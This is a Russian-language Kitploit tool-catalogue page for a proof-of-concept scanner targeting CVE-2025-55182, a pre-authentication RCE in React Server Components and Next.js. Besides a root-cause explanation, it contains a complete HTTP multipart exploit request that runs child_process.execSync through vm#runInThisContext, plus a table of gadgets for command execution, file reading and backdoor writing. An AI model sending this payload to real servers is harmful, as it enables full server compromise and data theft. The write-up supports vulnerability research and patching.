Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182-POC-SCANNER — Единый инструмент для исследования безопасности | Kitploit
Инструменты/GitHubGitHub/im-hanzou/cve-2025-55182-poc-scanner
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHubim-hanzou/cve-2025-55182-poc-scanner

CVE-2025-55182-POC-SCANNER

Единый инструмент для исследования безопасности

Репозиторий
2210 месяцев назадЕщё не проверено
Поделиться

CVE-2025-55182: Critical Pre-Authentication RCE in React Server Components

CVE-2025-55182 CVSS 10.0 Affected React Versions Affected Next.js Versions

Security Research by schema.cx
"Control is an illusion. It's the systems we build that control us—unless we understand them first."


📋 Содержание

  • Отказ от ответственности и правовая информация
  • Краткое резюме
  • Техническое описание
  • Затронутые системы
  • Доказательство концепции
  • Оценка воздействия
  • Смягчение и устранение
  • График ответственного раскрытия
  • Ссылки
  • Атрибуция

⚠️ Отказ от ответственности и правовая информация

ДАННЫЙ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ

СТОП. ПРОЧТИТЕ ЭТО ПЕРЕД ПРОДОЛЖЕНИЕМ.

Этот репозиторий содержит код доказательства концепции для критической уязвимости безопасности. Получая доступ, загружая или используя любые материалы из этого репозитория, вы подтверждаете и соглашаетесь со следующим:

Правовые требования

  1. Необходимо письменное разрешение: Вы ДОЛЖНЫ иметь явное письменное разрешение от владельца системы перед проведением любого тестирования безопасности. Устные соглашения недостаточны.

  2. Ограничения области действия: Тестирование должно быть ограничено системами, явно указанными в вашем разрешении. «Расширение области» не допускается.

  3. Применимые законы: Несанкционированный доступ к компьютерным системам нарушает:

    • США: Закон о компьютерном мошенничестве и злоупотреблениях (CFAA), 18 U.S.C. § 1030
    • Европейский Союз: Директива 2013/40/EU об атаках на информационные системы
    • Великобритания: Закон о компьютерных злоупотреблениях 1990 года
    • Австралия: Уголовный кодекс 1995 года, разделы 477-478
    • Другие юрисдикции: Аналогичные законы о компьютерных преступлениях действуют во всем мире

Отказ от ответственности

АВТОРЫ И УЧАСТНИКИ ЭТОГО РЕПОЗИТОРИЯ:

  • НЕ несут ответственности за неправильное использование этого инструмента
  • НЕ предоставляют никаких гарантий, явных или подразумеваемых
  • НЕ несут ответственности за любой ущерб, возникший в результате использования или невозможности использования данного программного обеспечения
  • НЕ поддерживают незаконные действия любого рода

Этические принципы

  • Никогда не тестируйте без разрешения — даже если вы «просто хотите проверить»
  • Документируйте всё — ведите подробные журналы всех действий по тестированию
  • Минимизируйте воздействие — используйте наименее инвазивные методы
  • Сообщайте ответственно — следуйте практике координированного раскрытия
  • Уважайте конфиденциальность — не извлекайте и не храните конфиденциальные данные

"The question isn't whether we can exploit the vulnerability. It's whether we should, and for what purpose."


📊 Краткое резюме

CVE-2025-55182 — это критическая уязвимость удаленного выполнения кода (RCE) без предварительной аутентификации, затрагивающая React Server Components в приложениях React 19.x и Next.js 15.x-16.x.

Бизнес-влияние

Эта уязвимость позволяет любому неаутентифицированному злоумышленнику с сетевым доступом к уязвимому приложению выполнять произвольные команды на сервере. Атака не требует учетных данных, взаимодействия с пользователем и может быть полностью автоматизирована. Успешная эксплуатация приводит к:

  • Полной компрометации сервера — злоумышленники получают полный контроль над базовой системой
  • Потенциальной утечке данных — доступ к базам данных, переменным окружения, секретам и пользовательским данным
  • Латеральному перемещению — скомпрометированные серверы могут быть использованы для атак на внутренние сети
  • Риску для цепочки поставок — могут быть затронуты производственные системы, обслуживающие миллионы пользователей

Оценка серьезности

МетрикаОценка
Базовая оценка CVSS v3.110.0 CRITICAL
Вектор атакиСеть
Сложность атакиНизкая
Необходимые привилегииНет
Взаимодействие с пользователемНет
Влияние (C/I/A)Высокое / Высокое / Высокое

"People trust systems because they don't understand them. That trust is a vulnerability."


🔬 Техническое описание

Анализ первопричины

Уязвимость существует в реализации протокола Flight от React в функции requireModule. Эта функция использует скобочную нотацию для доступа к экспортам модуля на основе входных данных, контролируемых пользователем, без проверки того, является ли запрашиваемое свойство собственным свойством модуля.

Местоположение уязвимого кода:

react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Функция: requireModule (примерно строки 2546-2558 в v19.0.0)

Уязвимый шаблон:

function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... async handling ...
  return moduleExports[metadata[2]];  // ← УЯЗВИМО: Отсутствует проверка hasOwnProperty
}

Механизм эксплуатации

Атака использует обход цепочки прототипов JavaScript:

  1. Точка входа: Злоумышленник отправляет вредоносный multipart form-запрос к конечной точке Server Action
  2. Внедрение полезной нагрузки: Поле $ACTION_0:0 содержит JSON с контролируемыми злоумышленником свойствами id (формат модуль#экспорт) и bound (аргументы)
  3. Доступ к прототипу: Указывая такие экспорты, как constructor, или обращаясь к свойствам прототипа, злоумышленники могут ссылаться на встроенные модули Node.js
  4. Гаджеты RCE: Функции, такие как vm.runInThisContext, child_process.execSync или fs.readFileSync, выполняются с аргументами, предоставленными злоумышленником

Вектор атаки

HTTP POST /formaction
    ↓
decodeAction(formData, serverManifest)
    ↓
loadServerReference(manifest, value.id, value.bound)
    ↓
resolveServerReference(config, id)  // Разбирает формат "module#export"
    ↓
requireModule(metadata)
    ↓
moduleExports[metadata[2]]  // Доступ к цепочке прототипов → RCE

Структура полезной нагрузки

POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--

Доступные гаджеты RCE

ГаджетМодульОписаниеВоздействие
vm#runInThisContextvmВыполнить JS в текущем контекстеПрямое RCE
vm#runInNewContextvmВыполнить JS в песочнице (возможен выход)Прямое RCE
child_process#execSyncchild_processВыполнить команды оболочкиПрямое RCE
child_process#spawnSyncchild_processЗапустить процессыПрямое RCE
fs#readFileSyncfsЧтение произвольных файловЭксфильтрация данных
fs#writeFileSyncfsЗапись произвольных файловСохранение/Бэкдор
module#_loadmoduleЗагрузка JS-модулей (двухшаговое RCE)Непрямое RCE
Скачать инструмент